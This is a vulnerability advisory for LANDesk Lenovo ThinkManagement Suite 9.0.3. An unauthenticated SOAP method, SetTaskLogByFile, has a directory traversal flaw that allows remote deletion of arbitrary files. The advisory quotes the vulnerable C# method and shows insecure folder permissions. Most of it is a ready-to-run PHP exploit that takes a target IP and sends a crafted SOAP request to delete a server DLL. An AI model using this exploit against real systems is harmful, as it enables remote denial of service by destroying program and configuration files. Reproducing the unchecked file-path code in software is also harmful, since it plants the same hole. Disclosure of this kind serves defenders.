LANDesk Lenovo ThinkManagement Suite 9.0.3 File Deletion

`LANDesk Lenovo ThinkManagement Suite 9.0.3 Core Server WSVulnerabilityCore.dll SetTaskLogByFile() Remote Arbitrary File Deletion Vulnerability  
Tested against: Microsoft Windows Server 2003 r2 sp2  
Software home page: http://www.landesk.com/lenovo/thinkmanagement-console.aspx  
Download url: http://www.landesk.com/downloads/lenovo/50.aspx  
  
Files tested:  
ThinkManagement9.0.2.exe  
LD90-SP2-MCP_CONS-2011-0428.exe  
LD90-SP2-MCP_SD-2011-0428.exe  
ThinkManagementConsole9.0.3_b28.zip  
  
Instrunctions were to install 9.0.2, then apply two patches, finally to install 9.0.3  
  
Background:  
  
The mentioned product creates various virtual directories on IIS.  
Among them the 'WSVulnerabilityCore' one.  
  
Without prior authentication / authorization is possible to  
invoke the 'VulCore.asmx' web service which exposes various  
functions inside the underlying dlls.  
  
Vulnerability:  
  
By specifying the 'SetTaskLogByFile' operation is possible to  
delete arbitrary files on the target operating system.  
  
Vulnerable code:  
VulCore.asmx:  
...  
<%@ WebService Language="c#" Codebehind="VulCore.asmx.cs" Class="LANDesk.ManagementSuite.WSVulnerabilityCore.VulCore" %>  
...  
SetTaskLogByFile() from the VulCore class of WSVulnerabilityCore.dll:  
...  
[WebMethod]  
public void SetTaskLogByFile(int computerIdn, int taskid, string filename)  
{  
try  
{  
string fullPath = GlobalBiz.LDLogon + @"VulScanResults\" + filename;  
byte[] fileContents = GlobalBiz.GetFileContents(fullPath);  
File.Delete(fullPath); //<------------------------ !!!  
if (filename.EndsWith("z"))  
{  
fileContents = GlobalBiz.DecompressBytes(fileContents);  
}  
this.SetTaskLog(computerIdn, taskid, Encoding.UTF8.GetString(fileContents));  
}  
catch (Exception exception)  
{  
RollingLog.Log(exception.ToString(), new object[0]);  
}  
}  
...  
The 'filename' argument is used to delete files and suffers of a directory traversal vulnerability,  
no checks of any kind.  
To the ManagementSuite folder were given unsecure permission, see, from the command line:  
C:\>cacls "C:\Program Files\LANDesk\ManagementSuite\"  
C:\Program Files\LANDesk\ManagementSuite SERVER\LANDesk Management Suite:R  
SERVER\LANDesk Management Suite:(OI)(CI)(IO)(special access:) GENERIC_READ  
GENERIC_EXECUTE  
SERVER\LANDesk Script Writers:R  
SERVER\LANDesk Script Writers:(OI)(CI)(IO)(special access:) GENERIC_READ  
GENERIC_EXECUTE  
SERVER\LANDesk Administrators:(OI)(CI)F  
BUILTIN\Administrators:(OI)(CI)F  
NT AUTHORITY\SYSTEM:(OI)(CI)F  
NT AUTHORITY\NETWORK SERVICE:(OI)(CI)F  
SERVER\ASPNET:(OI)(CI)F <--------------------------------- !!!  
SERVER\IWAM_SERVER:R  
SERVER\IWAM_SERVER:(OI)(CI)(IO)(special access:) GENERIC_READ  
GENERIC_EXECUTE  
SERVER\IUSR_SERVER:R  
SERVER\IUSR_SERVER:(OI)(CI)(IO)(special access:) GENERIC_READ  
GENERIC_EXECUTE  
NT AUTHORITY\Authenticated Users:R  
NT AUTHORITY\Authenticated Users:(OI)(CI)(IO)(special access:) GENERIC_READ  
GENERIC_EXECUTE  
Full privileges were given to the subfolders and files to the ASPNET user.  
So a remote attacker can effectively deny service by deleting dlls, archives and configuration files  
including ex. web.config files.  
Remote code execution could be possible but has not been proofed at the time of this article.  
As attachment, a proof of concept code which delete a LANDesk dll from remote.  
POC:  
<?php  
/*  
LANDesk Lenovo ThinkManagement Suite 9.0.3 Core Server WSVulnerabilityCore.dll  
SetTaskLogByFile() Remote Arbitrary File Deletion Vulnerability PoC  
*/  
error_reporting(E_ALL ^ E_NOTICE);  
set_time_limit(0);  
$err[0] = "[!] This script is intended to be launched from the cli!";  
$err[1] = "[!] You need the curl extesion loaded!";  
if (php_sapi_name() <> "cli") {  
die($err[0]);  
}  
function syntax() {  
print("usage: php 9sg_landeskii.php [ip_address]\r\n" );  
die();  
}  
$argv[1] ? print("[*] Attacking...\n") :  
syntax();  
if (!extension_loaded('curl')) {  
$win = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') ? true :  
false;  
if ($win) {  
!dl("php_curl.dll") ? die($err[1]) :  
print("[*] curl loaded\n");  
} else {  
!dl("php_curl.so") ? die($err[1]) :  
print("[*] curl loaded\n");  
}  
}  
function _s($url, $is_post, $ck, $request) {  
global $_use_proxy, $proxy_host, $proxy_port;  
$ch = curl_init();  
curl_setopt($ch, CURLOPT_URL, $url);  
if ($is_post) {  
curl_setopt($ch, CURLOPT_POST, 1);  
curl_setopt($ch, CURLOPT_POSTFIELDS, $request);  
}  
curl_setopt($ch, CURLOPT_HEADER, 1);  
curl_setopt($ch, CURLOPT_HTTPHEADER, array(  
"Cookie: ".$ck ,  
"Content-Type: text/xml; charset=utf-8",  
"SOAPAction: \"http://tempuri.org/SetTaskLogByFile\""  
));  
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);  
curl_setopt($ch, CURLOPT_USERAGENT, "");  
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);  
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);  
curl_setopt($ch, CURLOPT_TIMEOUT, 0);  
if ($_use_proxy) {  
curl_setopt($ch, CURLOPT_PROXY, $proxy_host.":".$proxy_port);  
}  
$_d = curl_exec($ch);  
if (curl_errno($ch)) {  
//die("[!] ".curl_error($ch)."\n");  
} else {  
curl_close($ch);  
}  
return $_d;  
}  
$host = $argv[1];  
$port = 80;  
$soap='<?xml version="1.0" encoding="utf-8"?>  
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">  
<soap:Body>  
<SetTaskLogByFile xmlns="http://tempuri.org/">  
<computerIdn>1</computerIdn>  
<taskid>1</taskid>  
<filename>../ygrep32.dll</filename>  
</SetTaskLogByFile>  
</soap:Body>  
</soap:Envelope>';  
$url = "http://$host:$port/WSVulnerabilityCore/VulCore.asmx";  
$out = _s($url, 1, "", $soap);  
print($out."\n");  
?>  
  
`